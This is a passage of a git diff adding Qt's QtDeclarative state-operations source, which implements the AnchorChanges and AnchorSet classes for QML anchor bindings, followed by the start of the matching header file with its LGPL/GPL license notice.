+ d->usedAnchors &= ~QDeclarativeAnchors::LeftAnchor;
+ d->leftScript = QDeclarativeScriptString();
+ d->resetAnchors |= QDeclarativeAnchors::LeftAnchor;
+}
+
+QDeclarativeScriptString QDeclarativeAnchorSet::right() const
+{
+ Q_D(const QDeclarativeAnchorSet);
+ return d->rightScript;
+}
+
+void QDeclarativeAnchorSet::setRight(const QDeclarativeScriptString &edge)
+{
+ Q_D(QDeclarativeAnchorSet);
+ d->usedAnchors |= QDeclarativeAnchors::RightAnchor;
+ d->rightScript = edge;
+ if (edge.script() == QLatin1String("undefined"))
+ resetRight();
+}
+
+void QDeclarativeAnchorSet::resetRight()
+{
+ Q_D(QDeclarativeAnchorSet);
+ d->usedAnchors &= ~QDeclarativeAnchors::RightAnchor;
+ d->rightScript = QDeclarativeScriptString();
+ d->resetAnchors |= QDeclarativeAnchors::RightAnchor;
+}
+
+QDeclarativeScriptString QDeclarativeAnchorSet::horizontalCenter() const
+{
+ Q_D(const QDeclarativeAnchorSet);
+ return d->hCenterScript;
+}
+
+void QDeclarativeAnchorSet::setHorizontalCenter(const QDeclarativeScriptString &edge)
+{
+ Q_D(QDeclarativeAnchorSet);
+ d->usedAnchors |= QDeclarativeAnchors::HCenterAnchor;
+ d->hCenterScript = edge;
+ if (edge.script() == QLatin1String("undefined"))
+ resetHorizontalCenter();
+}
+
+void QDeclarativeAnchorSet::resetHorizontalCenter()
+{
+ Q_D(QDeclarativeAnchorSet);
+ d->usedAnchors &= ~QDeclarativeAnchors::HCenterAnchor;
+ d->hCenterScript = QDeclarativeScriptString();
+ d->resetAnchors |= QDeclarativeAnchors::HCenterAnchor;
+}
+
+QDeclarativeItem *QDeclarativeAnchorSet::fill() const
+{
+ Q_D(const QDeclarativeAnchorSet);
+ return d->fill;
+}
+
+void QDeclarativeAnchorSet::setFill(QDeclarativeItem *f)
+{
+ Q_D(QDeclarativeAnchorSet);
+ d->fill = f;
+}
+
+void QDeclarativeAnchorSet::resetFill()
+{
+ setFill(0);
+}
+
+QDeclarativeItem *QDeclarativeAnchorSet::centerIn() const
+{
+ Q_D(const QDeclarativeAnchorSet);
+ return d->centerIn;
+}
+
+void QDeclarativeAnchorSet::setCenterIn(QDeclarativeItem* c)
+{
+ Q_D(QDeclarativeAnchorSet);
+ d->centerIn = c;
+}
+
+void QDeclarativeAnchorSet::resetCenterIn()
+{
+ setCenterIn(0);
+}
+
+
+class QDeclarativeAnchorChangesPrivate : public QDeclarativeStateOperationPrivate
+{
+public:
+ QDeclarativeAnchorChangesPrivate()
+ : target(0), anchorSet(new QDeclarativeAnchorSet),
+ leftBinding(0), rightBinding(0), hCenterBinding(0),
+ topBinding(0), bottomBinding(0), vCenterBinding(0), baselineBinding(0),
+ origLeftBinding(0), origRightBinding(0), origHCenterBinding(0),
+ origTopBinding(0), origBottomBinding(0), origVCenterBinding(0),
+ origBaselineBinding(0)
+ {
+
+ }
+ ~QDeclarativeAnchorChangesPrivate() { delete anchorSet; }
+
+ QDeclarativeItem *target;
+ QDeclarativeAnchorSet *anchorSet;
+
+ QDeclarativeBinding *leftBinding;
+ QDeclarativeBinding *rightBinding;
+ QDeclarativeBinding *hCenterBinding;
+ QDeclarativeBinding *topBinding;
+ QDeclarativeBinding *bottomBinding;
+ QDeclarativeBinding *vCenterBinding;
+ QDeclarativeBinding *baselineBinding;
+
+ QDeclarativeAbstractBinding *origLeftBinding;
+ QDeclarativeAbstractBinding *origRightBinding;
+ QDeclarativeAbstractBinding *origHCenterBinding;
+ QDeclarativeAbstractBinding *origTopBinding;
+ QDeclarativeAbstractBinding *origBottomBinding;
+ QDeclarativeAbstractBinding *origVCenterBinding;
+ QDeclarativeAbstractBinding *origBaselineBinding;
+
+ QDeclarativeAnchorLine rewindLeft;
+ QDeclarativeAnchorLine rewindRight;
+ QDeclarativeAnchorLine rewindHCenter;
+ QDeclarativeAnchorLine rewindTop;
+ QDeclarativeAnchorLine rewindBottom;
+ QDeclarativeAnchorLine rewindVCenter;
+ QDeclarativeAnchorLine rewindBaseline;
+
+ qreal fromX;
+ qreal fromY;
+ qreal fromWidth;
+ qreal fromHeight;
+
+ qreal toX;
+ qreal toY;
+ qreal toWidth;
+ qreal toHeight;
+
+ qreal rewindX;
+ qreal rewindY;
+ qreal rewindWidth;
+ qreal rewindHeight;
+
+ bool applyOrigLeft;
+ bool applyOrigRight;
+ bool applyOrigHCenter;
+ bool applyOrigTop;
+ bool applyOrigBottom;
+ bool applyOrigVCenter;
+ bool applyOrigBaseline;
+
+ QDeclarativeNullableValue<qreal> origWidth;
+ QDeclarativeNullableValue<qreal> origHeight;
+ qreal origX;
+ qreal origY;
+
+ QList<QDeclarativeAbstractBinding*> oldBindings;
+
+ QDeclarativeProperty leftProp;
+ QDeclarativeProperty rightProp;
+ QDeclarativeProperty hCenterProp;
+ QDeclarativeProperty topProp;
+ QDeclarativeProperty bottomProp;
+ QDeclarativeProperty vCenterProp;
+ QDeclarativeProperty baselineProp;
+};
+
+/*!
+ \qmlproperty Item AnchorChanges::target
+ This property holds the \l Item for which the anchor changes will be applied.
+*/
+
+QDeclarativeAnchorChanges::QDeclarativeAnchorChanges(QObject *parent)
+ : QDeclarativeStateOperation(*(new QDeclarativeAnchorChangesPrivate), parent)
+{
+}
+
+QDeclarativeAnchorChanges::~QDeclarativeAnchorChanges()
+{
+}
+
+QDeclarativeAnchorChanges::ActionList QDeclarativeAnchorChanges::actions()
+{
+ Q_D(QDeclarativeAnchorChanges);
+ d->leftBinding = d->rightBinding = d->hCenterBinding = d->topBinding
+ = d->bottomBinding = d->vCenterBinding = d->baselineBinding = 0;
+
+ d->leftProp = QDeclarativeProperty(d->target, QLatin1String("anchors.left"));
+ d->rightProp = QDeclarativeProperty(d->target, QLatin1String("anchors.right"));
+ d->hCenterProp = QDeclarativeProperty(d->target, QLatin1String("anchors.horizontalCenter"));
+ d->topProp = QDeclarativeProperty(d->target, QLatin1String("anchors.top"));
+ d->bottomProp = QDeclarativeProperty(d->target, QLatin1String("anchors.bottom"));
+ d->vCenterProp = QDeclarativeProperty(d->target, QLatin1String("anchors.verticalCenter"));
+ d->baselineProp = QDeclarativeProperty(d->target, QLatin1String("anchors.baseline"));
+
+ QDeclarativeContext *ctxt = qmlContext(this);
+
+ if (d->anchorSet->d_func()->usedAnchors & QDeclarativeAnchors::LeftAnchor) {
+ d->leftBinding = new QDeclarativeBinding(d->anchorSet->d_func()->leftScript.script(), d->target, ctxt);
+ d->leftBinding->setTarget(d->leftProp);
+ }
+ if (d->anchorSet->d_func()->usedAnchors & QDeclarativeAnchors::RightAnchor) {
+ d->rightBinding = new QDeclarativeBinding(d->anchorSet->d_func()->rightScript.script(), d->target, ctxt);
+ d->rightBinding->setTarget(d->rightProp);
+ }
+ if (d->anchorSet->d_func()->usedAnchors & QDeclarativeAnchors::HCenterAnchor) {
+ d->hCenterBinding = new QDeclarativeBinding(d->anchorSet->d_func()->hCenterScript.script(), d->target, ctxt);
+ d->hCenterBinding->setTarget(d->hCenterProp);
+ }
+ if (d->anchorSet->d_func()->usedAnchors & QDeclarativeAnchors::TopAnchor) {
+ d->topBinding = new QDeclarativeBinding(d->anchorSet->d_func()->topScript.script(), d->target, ctxt);
+ d->topBinding->setTarget(d->topProp);
+ }
+ if (d->anchorSet->d_func()->usedAnchors & QDeclarativeAnchors::BottomAnchor) {
+ d->bottomBinding = new QDeclarativeBinding(d->anchorSet->d_func()->bottomScript.script(), d->target, ctxt);
+ d->bottomBinding->setTarget(d->bottomProp);
+ }
+ if (d->anchorSet->d_func()->usedAnchors & QDeclarativeAnchors::VCenterAnchor) {
+ d->vCenterBinding = new QDeclarativeBinding(d->anchorSet->d_func()->vCenterScript.script(), d->target, ctxt);
+ d->vCenterBinding->setTarget(d->vCenterProp);
+ }
+ if (d->anchorSet->d_func()->usedAnchors & QDeclarativeAnchors::BaselineAnchor) {
+ d->baselineBinding = new QDeclarativeBinding(d->anchorSet->d_func()->baselineScript.script(), d->target, ctxt);
+ d->baselineBinding->setTarget(d->baselineProp);
+ }
+
+ QDeclarativeAction a;
+ a.event = this;
+ return ActionList() << a;
+}
+
+QDeclarativeAnchorSet *QDeclarativeAnchorChanges::anchors()
+{
+ Q_D(QDeclarativeAnchorChanges);
+ return d->anchorSet;
+}
+
+QDeclarativeItem *QDeclarativeAnchorChanges::object() const
+{
+ Q_D(const QDeclarativeAnchorChanges);
+ return d->target;
+}
+
+void QDeclarativeAnchorChanges::setObject(QDeclarativeItem *target)
+{
+ Q_D(QDeclarativeAnchorChanges);
+ d->target = target;
+}
+
+/*!
+ \qmlproperty AnchorLine AnchorChanges::anchors.left
+ \qmlproperty AnchorLine AnchorChanges::anchors.right
+ \qmlproperty AnchorLine AnchorChanges::anchors.horizontalCenter
+ \qmlproperty AnchorLine AnchorChanges::anchors.top
+ \qmlproperty AnchorLine AnchorChanges::anchors.bottom
+ \qmlproperty AnchorLine AnchorChanges::anchors.verticalCenter
+ \qmlproperty AnchorLine AnchorChanges::anchors.baseline
+
+ These properties change the respective anchors of the item.
+
+ To reset an anchor you can assign \c undefined:
+ \qml
+ AnchorChanges {
+ target: myItem
+ anchors.left: undefined //remove myItem's left anchor
+ anchors.right: otherItem.right
+ }
+ \endqml
+*/
+
+void QDeclarativeAnchorChanges::execute(Reason reason)
+{
+ Q_D(QDeclarativeAnchorChanges);
+ if (!d->target)
+ return;
+
+ QDeclarativeItemPrivate *targetPrivate = QDeclarativeItemPrivate::get(d->target);
+ //incorporate any needed "reverts"
+ if (d->applyOrigLeft) {
+ if (!d->origLeftBinding)
+ targetPrivate->anchors()->resetLeft();
+ QDeclarativePropertyPrivate::setBinding(d->leftProp, d->origLeftBinding);
+ }
+ if (d->applyOrigRight) {
+ if (!d->origRightBinding)
+ targetPrivate->anchors()->resetRight();
+ QDeclarativePropertyPrivate::setBinding(d->rightProp, d->origRightBinding);
+ }
+ if (d->applyOrigHCenter) {
+ if (!d->origHCenterBinding)
+ targetPrivate->anchors()->resetHorizontalCenter();
+ QDeclarativePropertyPrivate::setBinding(d->hCenterProp, d->origHCenterBinding);
+ }
+ if (d->applyOrigTop) {
+ if (!d->origTopBinding)
+ targetPrivate->anchors()->resetTop();
+ QDeclarativePropertyPrivate::setBinding(d->topProp, d->origTopBinding);
+ }
+ if (d->applyOrigBottom) {
+ if (!d->origBottomBinding)
+ targetPrivate->anchors()->resetBottom();
+ QDeclarativePropertyPrivate::setBinding(d->bottomProp, d->origBottomBinding);
+ }
+ if (d->applyOrigVCenter) {
+ if (!d->origVCenterBinding)
+ targetPrivate->anchors()->resetVerticalCenter();
+ QDeclarativePropertyPrivate::setBinding(d->vCenterProp, d->origVCenterBinding);
+ }
+ if (d->applyOrigBaseline) {
+ if (!d->origBaselineBinding)
+ targetPrivate->anchors()->resetBaseline();
+ QDeclarativePropertyPrivate::setBinding(d->baselineProp, d->origBaselineBinding);
+ }
+
+ //destroy old bindings
+ if (reason == ActualChange) {
+ for (int i = 0; i < d->oldBindings.size(); ++i) {
+ QDeclarativeAbstractBinding *binding = d->oldBindings.at(i);
+ if (binding)
+ binding->destroy();
+ }
+ d->oldBindings.clear();
+ }
+
+ //reset any anchors that have been specified as "undefined"
+ if (d->anchorSet->d_func()->resetAnchors & QDeclarativeAnchors::LeftAnchor) {
+ targetPrivate->anchors()->resetLeft();
+ QDeclarativePropertyPrivate::setBinding(d->leftProp, 0);
+ }
+ if (d->anchorSet->d_func()->resetAnchors & QDeclarativeAnchors::RightAnchor) {
+ targetPrivate->anchors()->resetRight();
+ QDeclarativePropertyPrivate::setBinding(d->rightProp, 0);
+ }
+ if (d->anchorSet->d_func()->resetAnchors & QDeclarativeAnchors::HCenterAnchor) {
+ targetPrivate->anchors()->resetHorizontalCenter();
+ QDeclarativePropertyPrivate::setBinding(d->hCenterProp, 0);
+ }
+ if (d->anchorSet->d_func()->resetAnchors & QDeclarativeAnchors::TopAnchor) {
+ targetPrivate->anchors()->resetTop();
+ QDeclarativePropertyPrivate::setBinding(d->topProp, 0);
+ }
+ if (d->anchorSet->d_func()->resetAnchors & QDeclarativeAnchors::BottomAnchor) {
+ targetPrivate->anchors()->resetBottom();
+ QDeclarativePropertyPrivate::setBinding(d->bottomProp, 0);
+ }
+ if (d->anchorSet->d_func()->resetAnchors & QDeclarativeAnchors::VCenterAnchor) {
+ targetPrivate->anchors()->resetVerticalCenter();
+ QDeclarativePropertyPrivate::setBinding(d->vCenterProp, 0);
+ }
+ if (d->anchorSet->d_func()->resetAnchors & QDeclarativeAnchors::BaselineAnchor) {
+ targetPrivate->anchors()->resetBaseline();
+ QDeclarativePropertyPrivate::setBinding(d->baselineProp, 0);
+ }
+
+ //set any anchors that have been specified
+ if (d->leftBinding)
+ QDeclarativePropertyPrivate::setBinding(d->leftBinding->property(), d->leftBinding);
+ if (d->rightBinding)
+ QDeclarativePropertyPrivate::setBinding(d->rightBinding->property(), d->rightBinding);
+ if (d->hCenterBinding)
+ QDeclarativePropertyPrivate::setBinding(d->hCenterBinding->property(), d->hCenterBinding);
+ if (d->topBinding)
+ QDeclarativePropertyPrivate::setBinding(d->topBinding->property(), d->topBinding);
+ if (d->bottomBinding)
+ QDeclarativePropertyPrivate::setBinding(d->bottomBinding->property(), d->bottomBinding);
+ if (d->vCenterBinding)
+ QDeclarativePropertyPrivate::setBinding(d->vCenterBinding->property(), d->vCenterBinding);
+ if (d->baselineBinding)
+ QDeclarativePropertyPrivate::setBinding(d->baselineBinding->property(), d->baselineBinding);
+}
+
+bool QDeclarativeAnchorChanges::isReversable()
+{
+ return true;
+}
+
+void QDeclarativeAnchorChanges::reverse(Reason reason)
+{
+ Q_D(QDeclarativeAnchorChanges);
+ if (!d->target)
+ return;
+
+ QDeclarativeItemPrivate *targetPrivate = QDeclarativeItemPrivate::get(d->target);
+ //reset any anchors set by the state
+ if (d->leftBinding) {
+ targetPrivate->anchors()->resetLeft();
+ QDeclarativePropertyPrivate::setBinding(d->leftBinding->property(), 0);
+ if (reason == ActualChange) {
+ d->leftBinding->destroy(); d->leftBinding = 0;
+ }
+ }
+ if (d->rightBinding) {
+ targetPrivate->anchors()->resetRight();
+ QDeclarativePropertyPrivate::setBinding(d->rightBinding->property(), 0);
+ if (reason == ActualChange) {
+ d->rightBinding->destroy(); d->rightBinding = 0;
+ }
+ }
+ if (d->hCenterBinding) {
+ targetPrivate->anchors()->resetHorizontalCenter();
+ QDeclarativePropertyPrivate::setBinding(d->hCenterBinding->property(), 0);
+ if (reason == ActualChange) {
+ d->hCenterBinding->destroy(); d->hCenterBinding = 0;
+ }
+ }
+ if (d->topBinding) {
+ targetPrivate->anchors()->resetTop();
+ QDeclarativePropertyPrivate::setBinding(d->topBinding->property(), 0);
+ if (reason == ActualChange) {
+ d->topBinding->destroy(); d->topBinding = 0;
+ }
+ }
+ if (d->bottomBinding) {
+ targetPrivate->anchors()->resetBottom();
+ QDeclarativePropertyPrivate::setBinding(d->bottomBinding->property(), 0);
+ if (reason == ActualChange) {
+ d->bottomBinding->destroy(); d->bottomBinding = 0;
+ }
+ }
+ if (d->vCenterBinding) {
+ targetPrivate->anchors()->resetVerticalCenter();
+ QDeclarativePropertyPrivate::setBinding(d->vCenterBinding->property(), 0);
+ if (reason == ActualChange) {
+ d->vCenterBinding->destroy(); d->vCenterBinding = 0;
+ }
+ }
+ if (d->baselineBinding) {
+ targetPrivate->anchors()->resetBaseline();
+ QDeclarativePropertyPrivate::setBinding(d->baselineBinding->property(), 0);
+ if (reason == ActualChange) {
+ d->baselineBinding->destroy(); d->baselineBinding = 0;
+ }
+ }
+
+ //restore previous anchors
+ if (d->origLeftBinding)
+ QDeclarativePropertyPrivate::setBinding(d->leftProp, d->origLeftBinding);
+ if (d->origRightBinding)
+ QDeclarativePropertyPrivate::setBinding(d->rightProp, d->origRightBinding);
+ if (d->origHCenterBinding)
+ QDeclarativePropertyPrivate::setBinding(d->hCenterProp, d->origHCenterBinding);
+ if (d->origTopBinding)
+ QDeclarativePropertyPrivate::setBinding(d->topProp, d->origTopBinding);
+ if (d->origBottomBinding)
+ QDeclarativePropertyPrivate::setBinding(d->bottomProp, d->origBottomBinding);
+ if (d->origVCenterBinding)
+ QDeclarativePropertyPrivate::setBinding(d->vCenterProp, d->origVCenterBinding);
+ if (d->origBaselineBinding)
+ QDeclarativePropertyPrivate::setBinding(d->baselineProp, d->origBaselineBinding);
+
+ //restore any absolute geometry changed by the state's anchors
+ QDeclarativeAnchors::Anchors stateVAnchors = d->anchorSet->d_func()->usedAnchors & QDeclarativeAnchors::Vertical_Mask;
+ QDeclarativeAnchors::Anchors origVAnchors = targetPrivate->anchors()->usedAnchors() & QDeclarativeAnchors::Vertical_Mask;
+ QDeclarativeAnchors::Anchors stateHAnchors = d->anchorSet->d_func()->usedAnchors & QDeclarativeAnchors::Horizontal_Mask;
+ QDeclarativeAnchors::Anchors origHAnchors = targetPrivate->anchors()->usedAnchors() & QDeclarativeAnchors::Horizontal_Mask;
+
+ bool stateSetWidth = (stateHAnchors &&
+ stateHAnchors != QDeclarativeAnchors::LeftAnchor &&
+ stateHAnchors != QDeclarativeAnchors::RightAnchor &&
+ stateHAnchors != QDeclarativeAnchors::HCenterAnchor);
+ bool origSetWidth = (origHAnchors &&
+ origHAnchors != QDeclarativeAnchors::LeftAnchor &&
+ origHAnchors != QDeclarativeAnchors::RightAnchor &&
+ origHAnchors != QDeclarativeAnchors::HCenterAnchor);
+ if (d->origWidth.isValid() && stateSetWidth && !origSetWidth)
+ d->target->setWidth(d->origWidth.value);
+
+ bool stateSetHeight = (stateVAnchors &&
+ stateVAnchors != QDeclarativeAnchors::TopAnchor &&
+ stateVAnchors != QDeclarativeAnchors::BottomAnchor &&
+ stateVAnchors != QDeclarativeAnchors::VCenterAnchor &&
+ stateVAnchors != QDeclarativeAnchors::BaselineAnchor);
+ bool origSetHeight = (origVAnchors &&
+ origVAnchors != QDeclarativeAnchors::TopAnchor &&
+ origVAnchors != QDeclarativeAnchors::BottomAnchor &&
+ origVAnchors != QDeclarativeAnchors::VCenterAnchor &&
+ origVAnchors != QDeclarativeAnchors::BaselineAnchor);
+ if (d->origHeight.isValid() && stateSetHeight && !origSetHeight)
+ d->target->setHeight(d->origHeight.value);
+
+ if (stateHAnchors && !origHAnchors)
+ d->target->setX(d->origX);
+
+ if (stateVAnchors && !origVAnchors)
+ d->target->setY(d->origY);
+}
+
+QString QDeclarativeAnchorChanges::typeName() const
+{
+ return QLatin1String("AnchorChanges");
+}
+
+QList<QDeclarativeAction> QDeclarativeAnchorChanges::additionalActions()
+{
+ Q_D(QDeclarativeAnchorChanges);
+ QList<QDeclarativeAction> extra;
+
+ QDeclarativeAnchors::Anchors combined = d->anchorSet->d_func()->usedAnchors | d->anchorSet->d_func()->resetAnchors;
+ bool hChange = combined & QDeclarativeAnchors::Horizontal_Mask;
+ bool vChange = combined & QDeclarativeAnchors::Vertical_Mask;
+
+ if (d->target) {
+ QDeclarativeContext *ctxt = qmlContext(this);
+ QDeclarativeAction a;
+ if (hChange && d->fromX != d->toX) {
+ a.property = QDeclarativeProperty(d->target, QLatin1String("x"), ctxt);
+ a.toValue = d->toX;
+ extra << a;
+ }
+ if (vChange && d->fromY != d->toY) {
+ a.property = QDeclarativeProperty(d->target, QLatin1String("y"), ctxt);
+ a.toValue = d->toY;
+ extra << a;
+ }
+ if (hChange && d->fromWidth != d->toWidth) {
+ a.property = QDeclarativeProperty(d->target, QLatin1String("width"), ctxt);
+ a.toValue = d->toWidth;
+ extra << a;
+ }
+ if (vChange && d->fromHeight != d->toHeight) {
+ a.property = QDeclarativeProperty(d->target, QLatin1String("height"), ctxt);
+ a.toValue = d->toHeight;
+ extra << a;
+ }
+ }
+
+ return extra;
+}
+
+bool QDeclarativeAnchorChanges::changesBindings()
+{
+ return true;
+}
+
+void QDeclarativeAnchorChanges::saveOriginals()
+{
+ Q_D(QDeclarativeAnchorChanges);
+ if (!d->target)
+ return;
+
+ d->origLeftBinding = QDeclarativePropertyPrivate::binding(d->leftProp);
+ d->origRightBinding = QDeclarativePropertyPrivate::binding(d->rightProp);
+ d->origHCenterBinding = QDeclarativePropertyPrivate::binding(d->hCenterProp);
+ d->origTopBinding = QDeclarativePropertyPrivate::binding(d->topProp);
+ d->origBottomBinding = QDeclarativePropertyPrivate::binding(d->bottomProp);
+ d->origVCenterBinding = QDeclarativePropertyPrivate::binding(d->vCenterProp);
+ d->origBaselineBinding = QDeclarativePropertyPrivate::binding(d->baselineProp);
+
+ QDeclarativeItemPrivate *targetPrivate = QDeclarativeItemPrivate::get(d->target);
+ if (targetPrivate->widthValid)
+ d->origWidth = d->target->width();
+ if (targetPrivate->heightValid)
+ d->origHeight = d->target->height();
+ d->origX = d->target->x();
+ d->origY = d->target->y();
+
+ d->applyOrigLeft = d->applyOrigRight = d->applyOrigHCenter = d->applyOrigTop
+ = d->applyOrigBottom = d->applyOrigVCenter = d->applyOrigBaseline = false;
+
+ saveCurrentValues();
+}
+
+void QDeclarativeAnchorChanges::copyOriginals(QDeclarativeActionEvent *other)
+{
+ Q_D(QDeclarativeAnchorChanges);
+ QDeclarativeAnchorChanges *ac = static_cast<QDeclarativeAnchorChanges*>(other);
+ QDeclarativeAnchorChangesPrivate *acp = ac->d_func();
+
+ QDeclarativeAnchors::Anchors combined = acp->anchorSet->d_func()->usedAnchors |
+ acp->anchorSet->d_func()->resetAnchors;
+
+ //probably also need to revert some things
+ d->applyOrigLeft = (combined & QDeclarativeAnchors::LeftAnchor);
+ d->applyOrigRight = (combined & QDeclarativeAnchors::RightAnchor);
+ d->applyOrigHCenter = (combined & QDeclarativeAnchors::HCenterAnchor);
+ d->applyOrigTop = (combined & QDeclarativeAnchors::TopAnchor);
+ d->applyOrigBottom = (combined & QDeclarativeAnchors::BottomAnchor);
+ d->applyOrigVCenter = (combined & QDeclarativeAnchors::VCenterAnchor);
+ d->applyOrigBaseline = (combined & QDeclarativeAnchors::BaselineAnchor);
+
+ d->origLeftBinding = acp->origLeftBinding;
+ d->origRightBinding = acp->origRightBinding;
+ d->origHCenterBinding = acp->origHCenterBinding;
+ d->origTopBinding = acp->origTopBinding;
+ d->origBottomBinding = acp->origBottomBinding;
+ d->origVCenterBinding = acp->origVCenterBinding;
+ d->origBaselineBinding = acp->origBaselineBinding;
+
+ d->origWidth = acp->origWidth;
+ d->origHeight = acp->origHeight;
+ d->origX = acp->origX;
+ d->origY = acp->origY;
+
+ d->oldBindings.clear();
+ d->oldBindings << acp->leftBinding << acp->rightBinding << acp->hCenterBinding
+ << acp->topBinding << acp->bottomBinding << acp->baselineBinding;
+
+ saveCurrentValues();
+}
+
+void QDeclarativeAnchorChanges::clearBindings()
+{
+ Q_D(QDeclarativeAnchorChanges);
+ if (!d->target)
+ return;
+
+ //### should this (saving "from" values) be moved to saveCurrentValues()?
+ d->fromX = d->target->x();
+ d->fromY = d->target->y();
+ d->fromWidth = d->target->width();
+ d->fromHeight = d->target->height();
+
+ QDeclarativeItemPrivate *targetPrivate = QDeclarativeItemPrivate::get(d->target);
+ //reset any anchors with corresponding reverts
+ //reset any anchors that have been specified as "undefined"
+ //reset any anchors that we'll be setting in the state
+ QDeclarativeAnchors::Anchors combined = d->anchorSet->d_func()->resetAnchors |
+ d->anchorSet->d_func()->usedAnchors;
+ if (d->applyOrigLeft || (combined & QDeclarativeAnchors::LeftAnchor)) {
+ targetPrivate->anchors()->resetLeft();
+ QDeclarativePropertyPrivate::setBinding(d->leftProp, 0);
+ }
+ if (d->applyOrigRight || (combined & QDeclarativeAnchors::RightAnchor)) {
+ targetPrivate->anchors()->resetRight();
+ QDeclarativePropertyPrivate::setBinding(d->rightProp, 0);
+ }
+ if (d->applyOrigHCenter || (combined & QDeclarativeAnchors::HCenterAnchor)) {
+ targetPrivate->anchors()->resetHorizontalCenter();
+ QDeclarativePropertyPrivate::setBinding(d->hCenterProp, 0);
+ }
+ if (d->applyOrigTop || (combined & QDeclarativeAnchors::TopAnchor)) {
+ targetPrivate->anchors()->resetTop();
+ QDeclarativePropertyPrivate::setBinding(d->topProp, 0);
+ }
+ if (d->applyOrigBottom || (combined & QDeclarativeAnchors::BottomAnchor)) {
+ targetPrivate->anchors()->resetBottom();
+ QDeclarativePropertyPrivate::setBinding(d->bottomProp, 0);
+ }
+ if (d->applyOrigVCenter || (combined & QDeclarativeAnchors::VCenterAnchor)) {
+ targetPrivate->anchors()->resetVerticalCenter();
+ QDeclarativePropertyPrivate::setBinding(d->vCenterProp, 0);
+ }
+ if (d->applyOrigBaseline || (combined & QDeclarativeAnchors::BaselineAnchor)) {
+ targetPrivate->anchors()->resetBaseline();
+ QDeclarativePropertyPrivate::setBinding(d->baselineProp, 0);
+ }
+}
+
+bool QDeclarativeAnchorChanges::override(QDeclarativeActionEvent*other)
+{
+ if (other->typeName() != QLatin1String("AnchorChanges"))
+ return false;
+ if (static_cast<QDeclarativeActionEvent*>(this) == other)
+ return true;
+ if (static_cast<QDeclarativeAnchorChanges*>(other)->object() == object())
+ return true;
+ return false;
+}
+
+void QDeclarativeAnchorChanges::rewind()
+{
+ Q_D(QDeclarativeAnchorChanges);
+ if (!d->target)
+ return;
+
+ QDeclarativeItemPrivate *targetPrivate = QDeclarativeItemPrivate::get(d->target);
+
+ //restore previous values (but not previous bindings, i.e. anchors)
+ d->target->setX(d->rewindX);
+ d->target->setY(d->rewindY);
+ if (targetPrivate->widthValid) {
+ d->target->setWidth(d->rewindWidth);
+ }
+ if (targetPrivate->heightValid) {
+ d->target->setHeight(d->rewindHeight);
+ }
+}
+
+void QDeclarativeAnchorChanges::saveCurrentValues()
+{
+ Q_D(QDeclarativeAnchorChanges);
+ if (!d->target)
+ return;
+
+ QDeclarativeItemPrivate *targetPrivate = QDeclarativeItemPrivate::get(d->target);
+ d->rewindLeft = targetPrivate->anchors()->left();
+ d->rewindRight = targetPrivate->anchors()->right();
+ d->rewindHCenter = targetPrivate->anchors()->horizontalCenter();
+ d->rewindTop = targetPrivate->anchors()->top();
+ d->rewindBottom = targetPrivate->anchors()->bottom();
+ d->rewindVCenter = targetPrivate->anchors()->verticalCenter();
+ d->rewindBaseline = targetPrivate->anchors()->baseline();
+
+ d->rewindX = d->target->x();
+ d->rewindY = d->target->y();
+ d->rewindWidth = d->target->width();
+ d->rewindHeight = d->target->height();
+}
+
+void QDeclarativeAnchorChanges::saveTargetValues()
+{
+ Q_D(QDeclarativeAnchorChanges);
+ if (!d->target)
+ return;
+
+ d->toX = d->target->x();
+ d->toY = d->target->y();
+ d->toWidth = d->target->width();
+ d->toHeight = d->target->height();
+}
+
+#include <qdeclarativestateoperations.moc>
+#include <moc_qdeclarativestateoperations_p.cpp>
+
+QT_END_NAMESPACE
+
diff --git a/src/declarative/util/qdeclarativestateoperations_p.h b/src/declarative/util/qdeclarativestateoperations_p.h
new file mode 100644
index 00000000..6848b8a4
--- /dev/null
+++ b/src/declarative/util/qdeclarativestateoperations_p.h
@@ -0,0 +1,299 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVESTATEOPERATIONS_H
+#define QDECLARATIVESTATEOPERATIONS_H
+
+#include "private/qdeclarativestate_p.h"
+
+#include <qdeclarativeitem.h>
+#include <private/qdeclarativeanchors_p.h>
+#include <qdeclarativescriptstring.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeParentChangePrivate;
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeParentChange : public QDeclarativeStateOperation, public QDeclarativeActionEvent
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QDeclarativeParentChange)
+
+ Q_PROPERTY(QDeclarativeItem *target READ object WRITE setObject)
+ Q_PROPERTY(QDeclarativeItem *parent READ parent WRITE setParent)
+ Q_PROPERTY(QDeclarativeScriptString x READ x WRITE setX)
+ Q_PROPERTY(QDeclarativeScriptString y READ y WRITE setY)
+ Q_PROPERTY(QDeclarativeScriptString width READ width WRITE setWidth)
+ Q_PROPERTY(QDeclarativeScriptString height READ height WRITE setHeight)
+ Q_PROPERTY(QDeclarativeScriptString scale READ scale WRITE setScale)
+ Q_PROPERTY(QDeclarativeScriptString rotation READ rotation WRITE setRotation)
+public:
+ QDeclarativeParentChange(QObject *parent=0);
+ ~QDeclarativeParentChange();
+
+ QDeclarativeItem *object() const;
+ void setObject(QDeclarativeItem *);
+
